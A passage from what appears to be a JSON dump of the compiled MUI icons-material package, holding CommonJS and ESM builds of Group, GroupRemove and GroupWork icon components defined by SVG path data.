    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.99 8.16c.01-.05.01-.1.01-.16 0-1.1-.9-2-2-2-.06 0-.11 0-.16.01zM9 15c-2.7 0-5.8 1.29-6 2.01V18h12v-.17l-2.11-2.11C11.76 15.31 10.33 15 9 15\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 8c0-1.42-.5-2.73-1.33-3.76.42-.14.86-.24 1.33-.24 2.21 0 4 1.79 4 4s-1.79 4-4 4h-.18l-.77-.77c.6-.94.95-2.05.95-3.23m7.83 12H23v-3c0-2.18-3.58-3.47-6.34-3.87 1.1.75 1.95 1.71 2.23 2.94zM9 6c-.06 0-.11 0-.16.01l-1.6-1.6C7.77 4.15 8.37 4 9 4c2.21 0 4 1.79 4 4 0 .63-.15 1.23-.41 1.76l-1.6-1.6c.01-.05.01-.1.01-.16 0-1.1-.9-2-2-2m.17 6H9c-2.21 0-4-1.79-4-4v-.17L.69 3.51 2.1 2.1l19.8 19.8-1.41 1.41L17 19.83V20H1v-3c0-2.66 5.33-4 8-4 .37 0 .8.03 1.25.08zM9 15c-2.7 0-5.8 1.29-6 2.01V18h12v-.17l-2.11-2.11C11.76 15.31 10.33 15 9 15\"\n}, \"1\")], 'GroupOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 13.75c-2.34 0-7 1.17-7 3.5V19h14v-1.75c0-2.33-4.66-3.5-7-3.5M4.34 17c.84-.58 2.87-1.25 4.66-1.25s3.82.67 4.66 1.25zM9 12c1.93 0 3.5-1.57 3.5-3.5S10.93 5 9 5 5.5 6.57 5.5 8.5 7.07 12 9 12m0-5c.83 0 1.5.67 1.5 1.5S9.83 10 9 10s-1.5-.67-1.5-1.5S8.17 7 9 7m7.04 6.81c1.16.84 1.96 1.96 1.96 3.44V19h4v-1.75c0-2.02-3.5-3.17-5.96-3.44M15 12c1.93 0 3.5-1.57 3.5-3.5S16.93 5 15 5c-.54 0-1.04.13-1.5.35.63.89 1 1.98 1 3.15s-.37 2.26-1 3.15c.46.22.96.35 1.5.35\"\n}), 'GroupOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 13.75c-2.34 0-7 1.17-7 3.5V19h14v-1.75c0-2.33-4.66-3.5-7-3.5M4.34 17c.84-.58 2.87-1.25 4.66-1.25s3.82.67 4.66 1.25zM9 12c1.93 0 3.5-1.57 3.5-3.5S10.93 5 9 5 5.5 6.57 5.5 8.5 7.07 12 9 12m0-5c.83 0 1.5.67 1.5 1.5S9.83 10 9 10s-1.5-.67-1.5-1.5S8.17 7 9 7m7.04 6.81c1.16.84 1.96 1.96 1.96 3.44V19h4v-1.75c0-2.02-3.5-3.17-5.96-3.44M15 12c1.93 0 3.5-1.57 3.5-3.5S16.93 5 15 5c-.54 0-1.04.13-1.5.35.63.89 1 1.98 1 3.15s-.37 2.26-1 3.15c.46.22.96.35 1.5.35\"\n}), 'GroupOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupRemove.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 9v2h-6V9zM8 4C5.79 4 4 5.79 4 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 9c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m4.51-8.95C13.43 5.11 14 6.49 14 8s-.57 2.89-1.49 3.95C14.47 11.7 16 10.04 16 8s-1.53-3.7-3.49-3.95m4.02 9.78C17.42 14.66 18 15.7 18 17v3h2v-3c0-1.45-1.59-2.51-3.47-3.17\"\n}), 'GroupRemove');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupRemove.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 9v2h-6V9zM8 4C5.79 4 4 5.79 4 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 9c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m4.51-8.95C13.43 5.11 14 6.49 14 8s-.57 2.89-1.49 3.95C14.47 11.7 16 10.04 16 8s-1.53-3.7-3.49-3.95m4.02 9.78C17.42 14.66 18 15.7 18 17v3h2v-3c0-1.45-1.59-2.51-3.47-3.17\"\n}), 'GroupRemove');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupRemoveOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 9v2h-6V9zM8 4C5.79 4 4 5.79 4 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m0 3c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m6 5H2v-.99C2.2 16.29 5.3 15 8 15s5.8 1.29 6 2zM12.51 4.05C13.43 5.11 14 6.49 14 8s-.57 2.89-1.49 3.95C14.47 11.7 16 10.04 16 8s-1.53-3.7-3.49-3.95m4.02 9.78C17.42 14.66 18 15.7 18 17v3h2v-3c0-1.45-1.59-2.51-3.47-3.17\"\n}), 'GroupRemoveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupRemoveOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 9v2h-6V9zM8 4C5.79 4 4 5.79 4 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m0 3c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m6 5H2v-.99C2.2 16.29 5.3 15 8 15s5.8 1.29 6 2zM12.51 4.05C13.43 5.11 14 6.49 14 8s-.57 2.89-1.49 3.95C14.47 11.7 16 10.04 16 8s-1.53-3.7-3.49-3.95m4.02 9.78C17.42 14.66 18 15.7 18 17v3h2v-3c0-1.45-1.59-2.51-3.47-3.17\"\n}), 'GroupRemoveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupRemoveRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10c0-.55.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1h-4c-.55 0-1-.45-1-1M8 4C5.79 4 4 5.79 4 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 9c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m4.51-8.95C13.43 5.11 14 6.49 14 8s-.57 2.89-1.49 3.95C14.47 11.7 16 10.04 16 8s-1.53-3.7-3.49-3.95m4.02 9.78C17.42 14.66 18 15.7 18 17v3h2v-3c0-1.45-1.59-2.51-3.47-3.17\"\n}), 'GroupRemoveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupRemoveRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10c0-.55.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1h-4c-.55 0-1-.45-1-1M8 4C5.79 4 4 5.79 4 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 9c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m4.51-8.95C13.43 5.11 14 6.49 14 8s-.57 2.89-1.49 3.95C14.47 11.7 16 10.04 16 8s-1.53-3.7-3.49-3.95m4.02 9.78C17.42 14.66 18 15.7 18 17v3h2v-3c0-1.45-1.59-2.51-3.47-3.17\"\n}), 'GroupRemoveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupRemoveSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 9v2h-6V9zM8 4C5.79 4 4 5.79 4 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 9c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m4.51-8.95C13.43 5.11 14 6.49 14 8s-.57 2.89-1.49 3.95C14.47 11.7 16 10.04 16 8s-1.53-3.7-3.49-3.95m4.02 9.78C17.42 14.66 18 15.7 18 17v3h2v-3c0-1.45-1.59-2.51-3.47-3.17\"\n}), 'GroupRemoveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupRemoveSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 9v2h-6V9zM8 4C5.79 4 4 5.79 4 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 9c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m4.51-8.95C13.43 5.11 14 6.49 14 8s-.57 2.89-1.49 3.95C14.47 11.7 16 10.04 16 8s-1.53-3.7-3.49-3.95m4.02 9.78C17.42 14.66 18 15.7 18 17v3h2v-3c0-1.45-1.59-2.51-3.47-3.17\"\n}), 'GroupRemoveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupRemoveTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 10c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m6 8H2v-.99C2.2 16.29 5.3 15 8 15s5.8 1.29 6 2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 9v2h-6V9zM8 4C5.79 4 4 5.79 4 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m0 3c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m6 5H2v-.99C2.2 16.29 5.3 15 8 15s5.8 1.29 6 2zM12.51 4.05C13.43 5.11 14 6.49 14 8s-.57 2.89-1.49 3.95C14.47 11.7 16 10.04 16 8s-1.53-3.7-3.49-3.95m4.02 9.78C17.42 14.66 18 15.7 18 17v3h2v-3c0-1.45-1.59-2.51-3.47-3.17\"\n}, \"1\")], 'GroupRemoveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupRemoveTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 10c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m6 8H2v-.99C2.2 16.29 5.3 15 8 15s5.8 1.29 6 2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 9v2h-6V9zM8 4C5.79 4 4 5.79 4 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m0 3c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m6 5H2v-.99C2.2 16.29 5.3 15 8 15s5.8 1.29 6 2zM12.51 4.05C13.43 5.11 14 6.49 14 8s-.57 2.89-1.49 3.95C14.47 11.7 16 10.04 16 8s-1.53-3.7-3.49-3.95m4.02 9.78C17.42 14.66 18 15.7 18 17v3h2v-3c0-1.45-1.59-2.51-3.47-3.17\"\n}, \"1\")], 'GroupRemoveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 11c1.66 0 2.99-1.34 2.99-3S17.66 5 16 5s-3 1.34-3 3 1.34 3 3 3m-8 0c1.66 0 2.99-1.34 2.99-3S9.66 5 8 5 5 6.34 5 8s1.34 3 3 3m0 2c-2.33 0-7 1.17-7 3.5V18c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-1.5c0-2.33-4.67-3.5-7-3.5m8 0c-.29 0-.62.02-.97.05.02.01.03.03.04.04 1.14.83 1.93 1.94 1.93 3.41V18c0 .35-.07.69-.18 1H22c.55 0 1-.45 1-1v-1.5c0-2.33-4.67-3.5-7-3.5\"\n}), 'GroupRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 11c1.66 0 2.99-1.34 2.99-3S17.66 5 16 5s-3 1.34-3 3 1.34 3 3 3m-8 0c1.66 0 2.99-1.34 2.99-3S9.66 5 8 5 5 6.34 5 8s1.34 3 3 3m0 2c-2.33 0-7 1.17-7 3.5V18c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-1.5c0-2.33-4.67-3.5-7-3.5m8 0c-.29 0-.62.02-.97.05.02.01.03.03.04.04 1.14.83 1.93 1.94 1.93 3.41V18c0 .35-.07.69-.18 1H22c.55 0 1-.45 1-1v-1.5c0-2.33-4.67-3.5-7-3.5\"\n}), 'GroupRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 11c1.66 0 2.99-1.34 2.99-3S17.66 5 16 5s-3 1.34-3 3 1.34 3 3 3m-8 0c1.66 0 2.99-1.34 2.99-3S9.66 5 8 5 5 6.34 5 8s1.34 3 3 3m0 2c-2.33 0-7 1.17-7 3.5V19h14v-2.5c0-2.33-4.67-3.5-7-3.5m8 0c-.29 0-.62.02-.97.05 1.16.84 1.97 1.97 1.97 3.45V19h6v-2.5c0-2.33-4.67-3.5-7-3.5\"\n}), 'GroupSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 11c1.66 0 2.99-1.34 2.99-3S17.66 5 16 5s-3 1.34-3 3 1.34 3 3 3m-8 0c1.66 0 2.99-1.34 2.99-3S9.66 5 8 5 5 6.34 5 8s1.34 3 3 3m0 2c-2.33 0-7 1.17-7 3.5V19h14v-2.5c0-2.33-4.67-3.5-7-3.5m8 0c-.29 0-.62.02-.97.05 1.16.84 1.97 1.97 1.97 3.45V19h6v-2.5c0-2.33-4.67-3.5-7-3.5\"\n}), 'GroupSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"8.5\",\n  r: \"1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.34 17h9.32c-.84-.58-2.87-1.25-4.66-1.25s-3.82.67-4.66 1.25\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 12c1.93 0 3.5-1.57 3.5-3.5S10.93 5 9 5 5.5 6.57 5.5 8.5 7.07 12 9 12m0-5c.83 0 1.5.67 1.5 1.5S9.83 10 9 10s-1.5-.67-1.5-1.5S8.17 7 9 7m0 6.75c-2.34 0-7 1.17-7 3.5V19h14v-1.75c0-2.33-4.66-3.5-7-3.5M4.34 17c.84-.58 2.87-1.25 4.66-1.25s3.82.67 4.66 1.25zm11.7-3.19c1.16.84 1.96 1.96 1.96 3.44V19h4v-1.75c0-2.02-3.5-3.17-5.96-3.44M15 12c1.93 0 3.5-1.57 3.5-3.5S16.93 5 15 5c-.54 0-1.04.13-1.5.35.63.89 1 1.98 1 3.15s-.37 2.26-1 3.15c.46.22.96.35 1.5.35\"\n}, \"2\")], 'GroupTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"8.5\",\n  r: \"1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.34 17h9.32c-.84-.58-2.87-1.25-4.66-1.25s-3.82.67-4.66 1.25\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 12c1.93 0 3.5-1.57 3.5-3.5S10.93 5 9 5 5.5 6.57 5.5 8.5 7.07 12 9 12m0-5c.83 0 1.5.67 1.5 1.5S9.83 10 9 10s-1.5-.67-1.5-1.5S8.17 7 9 7m0 6.75c-2.34 0-7 1.17-7 3.5V19h14v-1.75c0-2.33-4.66-3.5-7-3.5M4.34 17c.84-.58 2.87-1.25 4.66-1.25s3.82.67 4.66 1.25zm11.7-3.19c1.16.84 1.96 1.96 1.96 3.44V19h4v-1.75c0-2.02-3.5-3.17-5.96-3.44M15 12c1.93 0 3.5-1.57 3.5-3.5S16.93 5 15 5c-.54 0-1.04.13-1.5.35.63.89 1 1.98 1 3.15s-.37 2.26-1 3.15c.46.22.96.35 1.5.35\"\n}, \"2\")], 'GroupTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupWork.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M8 17.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5M9.5 8c0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5S9.5 9.38 9.5 8m6.5 9.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}), 'GroupWork');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupWork.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M8 17.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5M9.5 8c0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5S9.5 9.38 9.5 8m6.5 9.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}), 'GroupWork');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupWorkOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8\",\n  cy: \"14\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"8\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16\",\n  cy: \"14\",\n  r: \"2\"\n}, \"3\")], 'GroupWorkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupWorkOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8\",\n  cy: \"14\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"8\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16\",\n  cy: \"14\",\n  r: \"2\"\n}, \"3\")], 'GroupWorkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupWorkRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M8 17.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5M9.5 8c0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5S9.5 9.38 9.5 8m6.5 9.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}), 'GroupWorkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupWorkRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M8 17.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5M9.5 8c0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5S9.5 9.38 9.5 8m6.5 9.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}), 'GroupWorkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupWorkSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M8 17.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5M9.5 8c0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5S9.5 9.38 9.5 8m6.5 9.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}), 'GroupWorkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupWorkSharp.mjs",
